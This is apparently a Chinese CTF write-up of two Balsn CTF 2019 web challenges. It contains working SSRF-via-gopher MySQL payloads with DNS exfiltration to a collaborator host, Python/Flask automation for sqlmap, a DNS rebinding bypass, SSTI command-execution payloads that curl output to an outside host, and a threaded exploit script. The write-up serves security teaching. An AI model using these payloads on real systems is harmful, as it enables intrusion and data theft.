常見繞過、gopher 打 MySQL、SSRF
一打開題目就能看到源碼,稍稍有點混淆,整理一下:
<?phpif (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt=="))) && highlight_file(__FILE__) && (include("config.php")) && ($op = @$_GET['op']) && (@strlen($op) < 3 && @($op + 8) < 'A_A')) { $_ = @$_GET['Σ>―(#°ω°#)♡→']; if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_) || @strlen(count_chars(strtolower($_), 3)) > 13 || @strlen($_) > 19) {
exit($secret); } else { $ch = curl_init(); @curl_setopt( $ch, CURLOPT_URL, str_repLace( "int", ":DD", str_repLace( "%69%6e%74", "XDDD", str_repLace( "%2e%2e", "Q___Q", str_repLace( "..", "QAQ", str_repLace( "%33%33%61", ">__<", str_repLace( "%63%3a", "WTF", str_repLace( "633a", ":)", str_repLace( "433a", ":(", str_repLace( "\x63:", "ggininder", strtolower(eval("return $_;")) ) ) ) ) ) ) ) ) ) ); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 1); @curl_EXEC($ch); }} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') { $_ = @$_GET['']; # \u2063 //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79 if ((strtolower(substr($_, -4)) === '.php') || (strtolower(substr($_, -4)) === 'php.') || (stripos($_, "\"") !== FALSE) || (stripos($_, "\x3e") !== FALSE) || (stripos($_, "\x3c") !== FALSE) || (stripos(strtolower($_), "amp") !== FALSE)) die($secret); else { if (stripos($_, "..") !== false) { die($secret); } else { if (stripos($_, "\x24") !== false) { die($secret); } else { print_r(substr(@file_get_contents($_), 0, 155)); } } }} else { die($secret) && system($_GET[0x9487945]);}這段代碼並不需要額外配置,卻加載了一個 config.php,有點蹊蹺,先讀下原始碼看看。有兩種辦法,一是通過 eval,而是利用 file_get_contents,後者明顯要簡單些。這樣的後綴檢查加個空格就能過。因為讀取有長度限制,可直接使用偽協議進行壓縮,然後解壓即可。
<?php$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");$idx = stripos($content, "</code>") + 7;file_put_contents("/tmp/233", substr($content, $idx));
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");得到內容如下
# file:config.php<?php // *********************************** // THIS IS THE CONFIG OF THE MYSQL DB // *********************************** $host = "localhost"; $user = "admin"; $pass = ""; $port = 8787; // hint:flag-is-in-the-database XDDDDDDD // ==================================== %看到了這個提示,MySQL 還是空密碼,目標就相當明確了,gopher 打 MySQL 即可,file_get_contents 一般打不出 gopher。那就利用之前的 curl,這裡也有三重限制:
if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_) || @strlen(count_chars(strtolower($_), 3)) > 13 || @strlen($_) > 19) {image.pnggopher 的 payload 都比較長,直接傳是不可能的。之前出過很多無參函數的題,常見的手法是通過 getenv、getallheaders、get_defined_vars之類的函數獲取參數。由於長度的限制,最好的選擇就是 getenv。
(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")image.png成功打出請求,接下來繼續打 MySQL, Gopherus 生成下 payload。
phpinfo 中能看到是 Windows 的機器,驗證一下能不能 DNS 數據外帶,不然只能當盲注處理了。
(PS:本地實驗記得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )
Give MySQL username: adminGive port: 8787Give query to execute: select load_file(concat('\\\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a'));
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:8787/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01成功收到請求。
10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.繼續獲取數據:
select load_file(concat("\\\\",substr(hex(group_concat(schema_name)),39,68),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a")) from information_schema.schemata;-- 得到了資料庫名 test,thisisthedbname,需要注意的是太長了出不了網,不能出現像逗號這種的特殊符號接下來就是老套路了,讀表名、列名,拿數據。
42616C736E7B337A5F77316E643077735F7068705F6368346C7D => Balsn{3z_w1nd0ws_php_ch4l}有師傅把上面的過程整合了下,通過 flask 轉發,然後就能 sqlmap 一把梭,值得學習,代碼如下。
https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html
#coding: utf-8import requests
class MySQL(): print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m" user = 'admin' encode_user = user.encode("hex") user_length = len(user) temp = user_length - 4 length = (chr(0xa3+temp)).encode("hex")
dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000" dump += encode_user dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
query = "show databases;";
auth = dump.replace("\n","")
def encode(self, s): a = [s[i:i + 2] for i in range(0, len(s), 2)] return "gopher://127.0.0.1:8787/_%" + "%".join(a)
def get_payload(self, query): if(query.strip()!=''): query = query.encode("hex") query_length = '{:06x}'.format((int((len(query) / 2) + 1))) query_length = query_length.decode('hex')[::-1].encode('hex') pay1 = query_length + "0003" + query final = self.encode(self.auth + pay1 + "0100000001") return final else: return encode(self.auth)
# coding: utf-8from flask import Flask, render_template, requestimport time
app = Flask(__name__, template_folder='.')
@app.route('/')def blind(): username = request.args.get('username') url = "http://localhost/gg.php" url = "http://warmup.balsnctf.com/" def n(s): r = "" for i in s: r += chr(~(ord(i)) & 0xFF) r = "~{}".format(r) return r
t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')' x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';".format(username=username))
print repr(x) print len(t) try: r = requests.post(url=url, params = { 'op' : '-9', 'Σ>―(#°ω°#)♡→' : t }, cookies = {"PHPSESSID" : "123"}, headers = {"X": x}, timeout = 1.5 ) return "1" except: time.sleep(4) return "0" return r.content
if __name__ == "__main__": app.run(host='0.0.0.0', debug=True)
'''python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2'''韓國魚DNS rebinding、SSTI、命令執行
題目直接放出了 docker 環境,有個 readflag.c,看來是要執行命令。
# index.php<?phpini_set('default_socket_timeout', 1);
$waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");
$dst = @$_GET['🇰🇷🐟'];if(!isset($dst)) exit("Forbidden");
$res = @parse_url($dst);$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
if($res['scheme'] !== 'http' && $res['scheme'] !== 'https') die("Error");if(stripos($res['path'], "korea") === FALSE) die("Error");
for($i = 0; $i < count($waf); $i++) if(stripos($dst, $waf[$i]) !== FALSE) die("<svg/onload=\"alert('發大財!')\">".$waf[$i]);sleep(1);
// u can only touch this useless ip :p$dev_ip = "54.87.54.87";if($ip === $dev_ip) { $content = file_get_contents($dst); echo $content;}另外內網裡還跑了一個 flask,這段代碼明顯有 SSTI。
@app.route('/error_page')def error(): error_status = request.args.get("err") err_temp_path = os.path.join('/var/www/flask/', 'error', error_status) with open(err_temp_path, "r") as f: content = f.read().strip() return render_template_string(sanitize(content))代碼裡還很貼心的加入了一個 sleep(1),對訪問 IP 的限制顯然可以通過 DNS rebinding 進行繞過。當服務端通過 dns_get_record 解析時,返回 54.87.54.87,通過 file_get_contents 訪問時,host 被解析成 127.0.0.1 自然就能打到內網。
國內能買到的域名 TTL 基本無法為零,難道需要充錢買新域名嗎?
不,有很多現成的平臺能用,比如 https://lock.cmpxchg8b.com/rebinder.html。
image.png不過這個是規律性的隨機解析,還是要點小運氣的 :)
可看到成功進入內網:
image.png要想訪問 /error_page ,這還有點小限制
if(stripos($res['path'], "korea") === FALSE) die("Error");不過在 Flask 裡有個特性,//korea/error_page => /error_page,自然就解決了。當然也可以自己寫個跳轉。
另外還有一點:
>>> import os>>> os.path.join("/var/www/flask", "error", "/etc/passwd")'/etc/passwd'接下來要做的就是找到一個可控的文件,別忘了前面還跑了個 PHP,那就利用 session.upload_progress 進行上傳吧,也是常見的手段。可參考:
https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
https://www.anquanke.com/post/id/162656
http://wonderkun.cc/index.html/?p=718
https://www.php.net/manual/zh/session.upload-progress.php
我們先看一下 SSTI 如何構造才能進行命令執行。
def sanitize(str): return str.replace(".", "").replace("{{", "")
'''過濾 {{ => {%%}
過濾 . => {{''['__class__']}} {{''|attr('__class__')}} \x2e getattr'''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}
=>
{% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}把 orange 之前 one line php 的 exp 改下就能用了,最終 exp:
import sysimport stringimport requestsfrom multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://koreanfish.balsnctf.com'sess_name = 'iamorange'
headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name}
payload = '''{% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}'''
def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() print(r.status_code)
def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name while 1: url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename) r = requests.get(url, headers=headers) print(r.status_code)
if sys.argv[1] == '1': runner = runner1else: runner = runner2
pool = ThreadPool(32)result = pool.map_async( runner, range(32) ).get(0xffff)別忘了投稿哦
大家有好的技術原創文章
歡迎投稿至郵箱:edu@heetian.com
合天會根據文章的時效、新穎、文筆、實用等多方面評判給予200元-800元不等的稿費哦
有才能的你快來投稿吧!
了解投稿詳情點擊——重金懸賞 | 合天原創投稿漲稿費啦!